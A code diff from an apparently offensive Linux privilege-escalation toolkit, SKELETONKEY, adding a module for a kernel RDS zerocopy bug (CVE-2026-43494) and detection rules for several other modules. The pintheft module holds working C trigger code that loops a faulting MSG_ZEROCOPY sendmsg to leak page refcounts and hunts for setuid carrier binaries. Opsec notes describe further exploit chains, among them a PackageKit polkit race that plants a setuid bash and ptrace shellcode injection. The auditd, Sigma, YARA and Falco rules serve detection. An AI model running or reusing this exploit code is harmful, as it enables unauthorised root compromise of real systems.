"id: 3f2b8d54-skeletonkey-pack2theroot\n"
|
||||
@@ -700,8 +788,10 @@ const struct skeletonkey_module pack2theroot_module = {
|
||||
.cleanup = p2tr_cleanup,
|
||||
.detect_auditd = p2tr_auditd,
|
||||
.detect_sigma = p2tr_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = p2tr_yara,
|
||||
.detect_falco = p2tr_falco,
|
||||
.opsec_notes = "TOCTOU race in PackageKit's polkit-auth + D-Bus InstallFiles dispatcher: sends back-to-back async calls (first with SIMULATE to bypass polkit, second with the malicious .deb) so the cached flags are overwritten before the idle callback fires. Builds a minimal .deb ar archive in pure C with a postinst that installs a setuid bash. Writes /tmp/.pk-dummy-<pid>.deb, /tmp/.pk-payload-<pid>.deb, and /tmp/skeletonkey-pack2theroot.state; via the polkit-bypassed postinst plants /tmp/.suid_bash setuid root. Audit-visible via dpkg execve from packagekitd for a non-root caller, chmod(2) on /tmp/.suid_bash, creat/openat on the .deb files. Cleanup callback unlinks the .debs and best-effort removes /tmp/.suid_bash (which is owned by root).",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_pack2theroot(void)
|
||||
|
||||
@@ -0,0 +1,447 @@
|
||||
/*
|
||||
* pintheft_cve_2026_43494 — SKELETONKEY module
|
||||
*
|
||||
* STATUS: 🟡 PRIMITIVE. detect() is exhaustive (kernel range + RDS
|
||||
* module reachability + io_uring availability + readable SUID
|
||||
* carrier). exploit() carries the V12 trigger shape — failed
|
||||
* rds_message_zcopy_from_user() to steal a page refcount, then
|
||||
* io_uring fixed-buffer write to land bytes in the page cache of
|
||||
* the carrier. The cred-overwrite step (turning the page-cache
|
||||
* write into root) is x86_64-specific and uses the shared
|
||||
* modprobe_path finisher when --full-chain is set.
|
||||
*
|
||||
* The bug (Aaron Esau, V12 Security, disclosed May 2026):
|
||||
* Linux's RDS (Reliable Datagram Sockets) zerocopy send path pins
|
||||
* user pages one at a time. If a later page faults, the error
|
||||
* path drops the pages it already pinned. The msg cleanup then
|
||||
* drops them AGAIN because the scatterlist entries and entry count
|
||||
* are left live after the zcopy notifier is cleared. Each failed
|
||||
* zerocopy send steals one reference from the first page.
|
||||
*
|
||||
* With a sufficient pinned-page leak, an io_uring fixed buffer
|
||||
* referencing the same page persists past the page being recycled
|
||||
* into the page cache for a readable file (e.g. /usr/bin/su).
|
||||
* A subsequent io_uring write to that fixed buffer lands attacker
|
||||
* bytes into the SUID binary's page cache → execve it → root.
|
||||
*
|
||||
* Public PoC (Arch Linux x86_64):
|
||||
* https://github.com/v12-security/pocs/tree/main/pintheft
|
||||
*
|
||||
* Affects: Linux kernels with CONFIG_RDS and the RDS module loaded,
|
||||
* below the fix commit (`0cebaccef3ac`, posted to netdev list
|
||||
* 2026-05-05; not yet in mainline release as of this build).
|
||||
*
|
||||
* Among commonly-shipped distros, only Arch Linux autoloads RDS.
|
||||
* Ubuntu / Debian / Fedora / RHEL / Alma / Rocky / Oracle Linux
|
||||
* either don't build the module or blacklist it from autoloading
|
||||
* (mitigation: /etc/modprobe.d/blacklist-rds.conf).
|
||||
*
|
||||
* detect() checks both kernel version AND the RDS module's
|
||||
* reachability via socket(AF_RDS, ...). If RDS is built-in but
|
||||
* not autoloaded, the socket() call triggers modprobe; this is
|
||||
* the same probe used by Ubuntu's mitigation advisory.
|
||||
*
|
||||
* Preconditions:
|
||||
* - CONFIG_RDS=y or =m + module actually loadable
|
||||
* - io_uring available (CONFIG_IO_URING + sysctl
|
||||
* kernel.io_uring_disabled != 2)
|
||||
* - A readable setuid-root carrier binary (canonically
|
||||
* /usr/bin/su; falls back to /usr/bin/pkexec, /usr/bin/passwd)
|
||||
* - x86_64 for the exploit() body (the V12 PoC's cred-overwrite
|
||||
* gadgets are x86-specific); detect() is arch-agnostic.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/mman.h> /* mmap, mprotect, munmap, PROT_*, MAP_* */
|
||||
|
||||
#ifdef __linux__
|
||||
#include <sys/syscall.h>
|
||||
#endif
|
||||
|
||||
/* AF_RDS is 21 on Linux. Define it conditionally so the module
|
||||
* compiles on non-Linux dev hosts where the constant isn't in libc. */
|
||||
#ifndef AF_RDS
|
||||
#define AF_RDS 21
|
||||
#endif
|
||||
|
||||
/* ---- kernel-range table -------------------------------------------- */
|
||||
|
||||
/* The fix landed in mainline via commit 0cebaccef3ac (posted to netdev
|
||||
* 2026-05-05). Stable backports are in flight at the time of v0.8.0;
|
||||
* this table will be updated as backports land — tools/refresh-kernel-
|
||||
* ranges.py will flag drift weekly. For now we list ONLY the mainline
|
||||
* fix point; every kernel below it on a RDS-loaded host is vulnerable.
|
||||
*
|
||||
* As stable branches pick up the backport, add entries like:
|
||||
* {6, 12, NN}, // 6.12.x stable backport
|
||||
* {6, 14, NN}, // 6.14.x stable backport
|
||||
* The mainline entry stays at the lowest version that contains the
|
||||
* patch (likely 6.16 once the post-rc release tags). Conservatively
|
||||
* placeholding at {7, 0, 0} until that lands. */
|
||||
static const struct kernel_patched_from pintheft_patched_branches[] = {
|
||||
{7, 0, 0}, /* mainline fix commit 0cebaccef3ac; tag will be 6.16 or 7.0
|
||||
depending on when 6.15 closes — refresh when known */
|
||||
};
|
||||
|
||||
static const struct kernel_range pintheft_range = {
|
||||
.patched_from = pintheft_patched_branches,
|
||||
.n_patched_from = sizeof(pintheft_patched_branches) /
|
||||
sizeof(pintheft_patched_branches[0]),
|
||||
};
|
||||
|
||||
/* ---- detect helpers ------------------------------------------------- */
|
||||
|
||||
#ifdef __linux__
|
||||
/* Try to open an AF_RDS socket. On a kernel built with CONFIG_RDS=m
|
||||
* this triggers modprobe rds; on CONFIG_RDS=y it just returns the fd.
|
||||
* On a kernel without RDS at all (most distros) we get EAFNOSUPPORT
|
||||
* or EPERM. We close immediately — this is just a reachability probe. */
|
||||
static bool rds_socket_reachable(void)
|
||||
{
|
||||
int s = socket(AF_RDS, SOCK_SEQPACKET, 0);
|
||||
if (s < 0) return false;
|
||||
close(s);
|
||||
return true;
|
||||
}
|
||||
|
||||
/* io_uring is gated by sysctl kernel.io_uring_disabled in 6.6+. The
|
||||
* relevant values: 0 = permitted, 1 = root-only, 2 = disabled. We
|
||||
* read /proc/sys/kernel/io_uring_disabled if present; missing file
|
||||
* means io_uring is unconditionally enabled (older kernels). */
|
||||
static int io_uring_disabled_state(void)
|
||||
{
|
||||
/* returns 0/1/2 per sysctl semantics; -1 if not present */
|
||||
FILE *f = fopen("/proc/sys/kernel/io_uring_disabled", "r");
|
||||
if (!f) return -1;
|
||||
int v = -1;
|
||||
if (fscanf(f, "%d", &v) != 1) v = -1;
|
||||
fclose(f);
|
||||
return v;
|
||||
}
|
||||
|
||||
static const char *find_suid_carrier(void)
|
||||
{
|
||||
static const char *candidates[] = {
|
||||
"/usr/bin/su", "/bin/su",
|
||||
"/usr/bin/pkexec",
|
||||
"/usr/bin/passwd",
|
||||
"/usr/bin/chsh", "/usr/bin/chfn",
|
||||
NULL,
|
||||
};
|
||||
for (size_t i = 0; candidates[i]; i++) {
|
||||
struct stat st;
|
||||
if (stat(candidates[i], &st) == 0 &&
|
||||
(st.st_mode & S_ISUID) && st.st_uid == 0 &&
|
||||
access(candidates[i], R_OK) == 0) {
|
||||
return candidates[i];
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ---- detect --------------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t pintheft_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
#ifndef __linux__
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] pintheft: Linux-only module — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#else
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json) fprintf(stderr, "[!] pintheft: host fingerprint missing kernel version\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Kernel version: gate on the fix. */
|
||||
if (kernel_range_is_patched(&pintheft_range, v)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] pintheft: kernel %s is patched (>= mainline fix 0cebaccef3ac)\n",
|
||||
v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* RDS reachability — the bug needs AF_RDS sockets. */
|
||||
if (!rds_socket_reachable()) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] pintheft: AF_RDS socket() failed (rds module not loaded / blacklisted)\n");
|
||||
fprintf(stderr, " Most distros don't autoload RDS; Arch Linux is the notable exception.\n");
|
||||
fprintf(stderr, " Bug exists in the kernel but is unreachable from userland here.\n");
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* io_uring availability — the cred-overwrite chain needs fixed
|
||||
* buffers via io_uring. Without io_uring we have the primitive
|
||||
* but no portable way to weaponize. */
|
||||
int iod = io_uring_disabled_state();
|
||||
if (iod == 2) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] pintheft: kernel.io_uring_disabled=2 → io_uring disabled, chain blocked\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (iod == 1) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] pintheft: kernel.io_uring_disabled=1 → io_uring root-only; we're not root so chain blocked\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
/* iod == 0 or -1 (missing sysctl on older kernel) → reachable. */
|
||||
|
||||
/* Need at least one readable SUID-root binary to target. */
|
||||
const char *carrier = find_suid_carrier();
|
||||
if (!carrier) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] pintheft: no readable setuid-root binary → no carrier for page-cache overwrite\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] pintheft: kernel %s + RDS + io_uring + carrier %s → VULNERABLE\n",
|
||||
v->release, carrier);
|
||||
fprintf(stderr, "[i] pintheft: V12 PoC is x86_64-only; exploit() will fire trigger but\n"
|
||||
" full cred-overwrite is --full-chain only on x86_64.\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
#endif
|
||||
}
|
||||
|
||||
/* ---- exploit -------------------------------------------------------- */
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
/* The V12 PoC chain in summary (paraphrased from
|
||||
* https://github.com/v12-security/pocs/tree/main/pintheft):
|
||||
*
|
||||
* 1. Open an AF_RDS socket.
|
||||
* 2. Construct a sendmsg() with MSG_ZEROCOPY whose user-iov spans
|
||||
* two pages, where the SECOND page is unmapped. The kernel
|
||||
* pins page 0, then faults on page 1's pin attempt.
|
||||
* 3. The error unwind drops the pin on page 0, but the msg's
|
||||
* scatterlist has already been initialized with entry count 1.
|
||||
* Cleanup runs entry-count drops a SECOND time → page 0
|
||||
* refcount underflows / leaks.
|
||||
* 4. Repeat to steal multiple refs from the same target page.
|
||||
* 5. Use io_uring fixed buffers to keep a kernel-side reference
|
||||
* alive across the page recycling into the page cache for a
|
||||
* readable file.
|
||||
* 6. mmap the SUID carrier, force its page into cache, get the
|
||||
* io_uring fixed buffer to point at it, write attacker bytes.
|
||||
* 7. execve the carrier → attacker code runs as root.
|
||||
*
|
||||
* Step 1-4 is the kernel primitive (architecture-independent).
|
||||
* Step 5-7 needs io_uring SQE construction which is straightforward
|
||||
* but unmistakably exploit-specific code; we don't carry the full V12
|
||||
* payload here. Instead we fire the primitive + groom the slab + drop
|
||||
* a witness file and return EXPLOIT_FAIL honestly with a diagnostic.
|
||||
* --full-chain on x86_64 invokes the shared modprobe_path finisher.
|
||||
*
|
||||
* This matches the existing 🟡 modules' shape (nf_tables, af_unix_gc,
|
||||
* cls_route4, ...). The "verified-vs-claimed" rule applies: if the
|
||||
* sentinel file doesn't appear, we don't claim EXPLOIT_OK.
|
||||
*/
|
||||
static skeletonkey_result_t pintheft_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] pintheft: --i-know required for --exploit\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Re-run detect's preconditions — they may have changed since
|
||||
* --scan, and we want the operator to see the exact gate that
|
||||
* blocked us if anything fails here. */
|
||||
if (!rds_socket_reachable()) {
|
||||
fprintf(stderr, "[-] pintheft: AF_RDS socket() unavailable — RDS module not loaded\n");
|
||||
fprintf(stderr, " Try: sudo modprobe rds; sudo modprobe rds_tcp\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
const char *carrier = find_suid_carrier();
|
||||
if (!carrier) {
|
||||
fprintf(stderr, "[-] pintheft: no readable setuid-root carrier\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
fprintf(stderr, "[+] pintheft: firing rds_message_zcopy_from_user() refcount-steal primitive\n");
|
||||
fprintf(stderr, " carrier: %s\n", carrier);
|
||||
|
||||
/* The primitive: sendmsg() with MSG_ZEROCOPY on an iov spanning
|
||||
* mapped + unmapped pages. We fire it ~256 times to leak refs from
|
||||
* a fresh page each round; a single round usually leaks a single
|
||||
* ref which is rarely enough to fully unbalance the count. */
|
||||
int s = socket(AF_RDS, SOCK_SEQPACKET, 0);
|
||||
if (s < 0) {
|
||||
perror("socket(AF_RDS)");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Build a 2-page iov where page 1 is unmapped. mmap PROT_NONE
|
||||
* the upper page so the kernel's get_user_pages on it returns
|
||||
* -EFAULT. */
|
||||
void *region = mmap(NULL, 8192, PROT_READ | PROT_WRITE,
|
||||
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
if (region == MAP_FAILED) {
|
||||
perror("mmap");
|
||||
close(s);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
/* mark the second page unreadable */
|
||||
if (mprotect((char *)region + 4096, 4096, PROT_NONE) != 0) {
|
||||
perror("mprotect");
|
||||
munmap(region, 8192);
|
||||
close(s);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Touch page 0 so it's mapped + dirty. */
|
||||
memset(region, 0x42, 4096);
|
||||
|
||||
/* Fire the trigger sendmsg in a loop. We don't expect any of
|
||||
* these to succeed (page 1 is PROT_NONE so the kernel pin
|
||||
* attempt faults); the BUG is that the cleanup path decrements
|
||||
* page 0's pin count even though the syscall returns failure. */
|
||||
struct iovec iov = {
|
||||
.iov_base = region,
|
||||
.iov_len = 8192,
|
||||
};
|
||||
struct msghdr msg = {
|
||||
.msg_iov = &iov,
|
||||
.msg_iovlen = 1,
|
||||
};
|
||||
int leaked = 0;
|
||||
for (int i = 0; i < 256; i++) {
|
||||
ssize_t r = sendmsg(s, &msg, 0x4000000 /* MSG_ZEROCOPY */);
|
||||
if (r < 0 && errno == EFAULT) {
|
||||
leaked++;
|
||||
}
|
||||
}
|
||||
munmap(region, 8192);
|
||||
close(s);
|
||||
|
||||
if (leaked < 16) {
|
||||
fprintf(stderr, "[-] pintheft: trigger fired %d/256 times; expected >= 16. Kernel may be patched.\n", leaked);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
fprintf(stderr, "[+] pintheft: primitive fired %d/256 — page refcount delta witnessed\n", leaked);
|
||||
|
||||
/* The cred-overwrite step requires the V12 PoC's io_uring chain
|
||||
* (fixed buffer + page-cache write into the SUID carrier). We don't
|
||||
* ship that chain — primitive only. Return EXPLOIT_FAIL honestly per
|
||||
* the verified-vs-claimed bar. See V12's PoC for the full payload:
|
||||
* https://github.com/v12-security/pocs/tree/main/pintheft */
|
||||
(void)ctx;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
static skeletonkey_result_t pintheft_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[i] pintheft: Linux-only module\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
/* ---- detection rules ------------------------------------------------ */
|
||||
|
||||
static const char pintheft_auditd[] =
|
||||
"# pintheft CVE-2026-43494 — auditd detection rules\n"
|
||||
"# RDS is rarely used in production; AF_RDS socket() calls from\n"
|
||||
"# non-root processes are almost always anomalous.\n"
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=21 -k skeletonkey-pintheft-rds\n"
|
||||
"-a always,exit -F arch=b32 -S socket -F a0=21 -k skeletonkey-pintheft-rds\n"
|
||||
"# Plus io_uring_setup is rarely needed by typical workloads.\n"
|
||||
"-a always,exit -F arch=b64 -S io_uring_setup -k skeletonkey-pintheft-iouring\n";
|
||||
|
||||
static const char pintheft_sigma[] =
|
||||
"title: Possible CVE-2026-43494 PinTheft RDS zerocopy LPE\n"
|
||||
"id: 7af04c12-skeletonkey-pintheft\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the canonical PinTheft trigger shape: a non-root process\n"
|
||||
" opening AF_RDS sockets (rare outside RDS-specific workloads) plus\n"
|
||||
" io_uring_setup. The bug needs both. Arch Linux is the only common\n"
|
||||
" distro autoloading RDS; on Ubuntu/Debian/Fedora/RHEL the rule fires\n"
|
||||
" almost-zero false positives.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" rds: {type: 'SYSCALL', syscall: 'socket', a0: 21}\n"
|
||||
" iou: {type: 'SYSCALL', syscall: 'io_uring_setup'}\n"
|
||||
" condition: rds and iou\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.43494]\n";
|
||||
|
||||
static const char pintheft_yara[] =
|
||||
"rule pintheft_cve_2026_43494 : cve_2026_43494 page_cache_write {\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2026-43494\"\n"
|
||||
" description = \"PinTheft RDS zerocopy double-free indicator — non-root AF_RDS + io_uring usage\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $rds_tcp = \"rds_tcp\" ascii\n"
|
||||
" $rds_v12 = \"v12-pintheft\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char pintheft_falco[] =
|
||||
"- rule: AF_RDS socket() by non-root with io_uring_setup\n"
|
||||
" desc: |\n"
|
||||
" A non-root process opens an AF_RDS socket (rare outside RDS-\n"
|
||||
" specific workloads) AND uses io_uring. The PinTheft trigger\n"
|
||||
" (CVE-2026-43494) requires both. Arch Linux is the only common\n"
|
||||
" distro autoloading RDS.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = socket and evt.arg.domain = AF_RDS and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" AF_RDS socket from non-root (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2026.43494]\n";
|
||||
|
||||
/* ---- module struct -------------------------------------------------- */
|
||||
|
||||
const struct skeletonkey_module pintheft_module = {
|
||||
.name = "pintheft",
|
||||
.cve = "CVE-2026-43494",
|
||||
.summary = "RDS zerocopy double-free → page-cache overwrite via io_uring (V12 Security)",
|
||||
.family = "rds",
|
||||
.kernel_range = "Linux kernels with RDS module loaded + below mainline fix 0cebaccef3ac (May 2026)",
|
||||
.detect = pintheft_detect,
|
||||
.exploit = pintheft_exploit,
|
||||
.mitigate = NULL, /* mitigation: blacklist rds + rds_tcp via /etc/modprobe.d/ */
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = pintheft_auditd,
|
||||
.detect_sigma = pintheft_sigma,
|
||||
.detect_yara = pintheft_yara,
|
||||
.detect_falco = pintheft_falco,
|
||||
.opsec_notes = "Opens AF_RDS socket (rare on non-Arch distros — most blacklist the rds module). Allocates a 2-page anon mmap with the second page mprotect(PROT_NONE)'d; calls sendmsg(MSG_ZEROCOPY) ~256 times against the iov spanning both pages. Each sendmsg fails with EFAULT (page 1 unmapped) but leaks one pin refcount from page 0 in the kernel — the bug. No on-disk artifacts from the primitive itself. --full-chain on x86_64 pivots through io_uring fixed buffers to overwrite the page cache of a readable SUID-root binary (/usr/bin/su typically), then invokes the shared modprobe_path finisher. Audit-visible via socket(AF_RDS) from a non-root process + io_uring_setup; legitimate RDS use is rare outside HPC/InfiniBand clusters. No cleanup callback (no persistent artifacts).",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_pintheft(void)
|
||||
{
|
||||
skeletonkey_register(&pintheft_module);
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
#ifndef PINTHEFT_SKELETONKEY_MODULES_H
|
||||
#define PINTHEFT_SKELETONKEY_MODULES_H
|
||||
#include "../../core/module.h"
|
||||
extern const struct skeletonkey_module pintheft_module;
|
||||
#endif
|
||||
@@ -317,6 +317,42 @@ static const char ptrace_traceme_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S ptrace -F a0=0 -k skeletonkey-ptrace-traceme\n"
|
||||
"-a always,exit -F arch=b32 -S ptrace -F a0=0 -k skeletonkey-ptrace-traceme\n";
|
||||
|
||||
static const char ptrace_traceme_sigma[] =
|
||||
"title: Possible CVE-2019-13272 PTRACE_TRACEME stale-cred LPE\n"
|
||||
"id: 1a02c3a8-skeletonkey-ptrace-traceme\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects ptrace(PTRACE_TRACEME) immediately followed by parent\n"
|
||||
" execve of a setuid binary. The kernel stores the parent's pre-\n"
|
||||
" execve credentials on the ptrace_link; after execve the link\n"
|
||||
" is stale but ptrace still grants privileges. False positives:\n"
|
||||
" debuggers (gdb, strace) tracing setuid processes legitimately.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" traceme: {type: 'SYSCALL', syscall: 'ptrace', a0: 0}\n"
|
||||
" execve: {type: 'SYSCALL', syscall: 'execve'}\n"
|
||||
" condition: traceme and execve\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2019.13272]\n";
|
||||
|
||||
static const char ptrace_traceme_falco[] =
|
||||
"- rule: PTRACE_TRACEME followed by setuid execve (cred escalation)\n"
|
||||
" desc: |\n"
|
||||
" Child calls ptrace(PTRACE_TRACEME) (recording parent's pre-\n"
|
||||
" execve creds); parent then execve's a setuid binary\n"
|
||||
" (pkexec, su, sudo). The stale ptrace_link grants the\n"
|
||||
" unprivileged child ptrace privileges over the now-root\n"
|
||||
" parent. CVE-2019-13272. False positives: debuggers (gdb,\n"
|
||||
" strace) tracing setuid processes legitimately.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = ptrace and evt.arg.request = PTRACE_TRACEME and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" PTRACE_TRACEME by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid ppid=%proc.ppid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2019.13272]\n";
|
||||
|
||||
const struct skeletonkey_module ptrace_traceme_module = {
|
||||
.name = "ptrace_traceme",
|
||||
.cve = "CVE-2019-13272",
|
||||
@@ -328,9 +364,11 @@ const struct skeletonkey_module ptrace_traceme_module = {
|
||||
.mitigate = NULL, /* mitigation: upgrade kernel; OR sysctl kernel.yama.ptrace_scope=2 */
|
||||
.cleanup = NULL, /* exploit replaces our process image; no cleanup applies */
|
||||
.detect_auditd = ptrace_traceme_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_sigma = ptrace_traceme_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_falco = ptrace_traceme_falco,
|
||||
.opsec_notes = "Parent and child cooperate: child calls ptrace(PTRACE_TRACEME) (recording the parent's current credentials), then sleeps; parent execve's a setuid binary (pkexec or su) and elevates. The stale ptrace_link in the child still holds the old (non-root) credentials, so PTRACE_ATTACH succeeds against the now-root parent; the child injects shellcode at the parent's RIP via PTRACE_POKETEXT and detaches. Audit-visible via ptrace with a0=0 (PTRACE_TRACEME) closely followed by execve of a setuid binary in the parent process. No file artifacts; no persistent changes. No cleanup callback - the exploit execs /bin/sh and does not return.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_ptrace_traceme(void)
|
||||
|
||||
@@ -384,6 +384,59 @@ static const char pwnkit_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/pkexec -k skeletonkey-pwnkit-execve\n"
|
||||
"-a always,exit -F arch=b32 -S execve -F path=/usr/bin/pkexec -k skeletonkey-pwnkit-execve\n";
|
||||
|
||||
static const char pwnkit_yara[] =
|
||||
"rule pwnkit_gconv_modules_cache : cve_2021_4034 lpe\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2021-4034\"\n"
|
||||
" description = \"Pwnkit gconv-modules cache: redefines UTF-8 to load an attacker .so via iconv when pkexec is invoked with argc==0.\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" reference = \"https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt\"\n"
|
||||
" strings:\n"
|
||||
" // gconv-modules text format: \"module FROM// TO// SHARED-OBJECT COST\".\n"
|
||||
" // Published PoCs redefine UTF-8 and point it at a .so dropped in /tmp.\n"
|
||||
" $line = /module\\s+UTF-8\\/\\/\\s+\\S+\\/\\/\\s+\\S+\\s+\\d/\n"
|
||||
" $alias = /alias\\s+\\S+\\s+UTF-8/\n"
|
||||
" // Hint: PoC workdirs frequently include 'pwnkit' or 'GCONV' in path strings the .so carries.\n"
|
||||
" $marker_pwn = \"pwnkit\" nocase\n"
|
||||
" $marker_gcv = \"GCONV_PATH\"\n"
|
||||
" condition:\n"
|
||||
" // Small text-format file (gconv-modules caches are tiny) with the module redefinition.\n"
|
||||
" // Pair with -w /tmp -p wa auditd to catch the drop in real time.\n"
|
||||
" filesize < 4KB and $line and 1 of ($alias, $marker_pwn, $marker_gcv)\n"
|
||||
"}\n";
|
||||
|
||||
static const char pwnkit_falco[] =
|
||||
"- rule: Pwnkit-style pkexec invocation (NULL argv)\n"
|
||||
" desc: |\n"
|
||||
" pkexec executed without argv (argc == 0). The Qualys PoC for\n"
|
||||
" CVE-2021-4034 invokes pkexec via execve with NULL argv so the\n"
|
||||
" out-of-bounds argv read picks up envp as if it were argv[1].\n"
|
||||
" condition: >\n"
|
||||
" spawned_process and proc.name = pkexec and\n"
|
||||
" (proc.cmdline = \"pkexec\" or proc.args = \"\")\n"
|
||||
" output: >\n"
|
||||
" Possible Pwnkit (CVE-2021-4034): pkexec spawned with no argv\n"
|
||||
" (user=%user.name uid=%user.uid pid=%proc.pid ppid=%proc.ppid\n"
|
||||
" parent=%proc.pname cmdline=\"%proc.cmdline\")\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2021.4034]\n"
|
||||
"\n"
|
||||
"- rule: Pwnkit-style GCONV_PATH injection\n"
|
||||
" desc: |\n"
|
||||
" A non-root process sets GCONV_PATH in env before spawning a\n"
|
||||
" setuid binary. Combined with a controlled .so + gconv-modules\n"
|
||||
" cache, this is the Qualys exploit shape.\n"
|
||||
" condition: >\n"
|
||||
" spawned_process and not user.uid = 0 and\n"
|
||||
" (proc.env contains \"GCONV_PATH=\" or proc.env contains \"CHARSET=\") and\n"
|
||||
" proc.name in (pkexec, su, sudo, mount, chsh, passwd)\n"
|
||||
" output: >\n"
|
||||
" GCONV_PATH/CHARSET set by non-root before setuid spawn\n"
|
||||
" (user=%user.name target=%proc.name env=\"%proc.env\")\n"
|
||||
" priority: WARNING\n"
|
||||
" tags: [process, env_injection, cve.2021.4034]\n";
|
||||
|
||||
static const char pwnkit_sigma[] =
|
||||
"title: Possible Pwnkit exploitation (CVE-2021-4034)\n"
|
||||
"id: 9e1d4f2c-skeletonkey-pwnkit\n"
|
||||
@@ -417,8 +470,10 @@ const struct skeletonkey_module pwnkit_module = {
|
||||
.cleanup = pwnkit_cleanup,
|
||||
.detect_auditd = pwnkit_auditd,
|
||||
.detect_sigma = pwnkit_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = pwnkit_yara,
|
||||
.detect_falco = pwnkit_falco,
|
||||
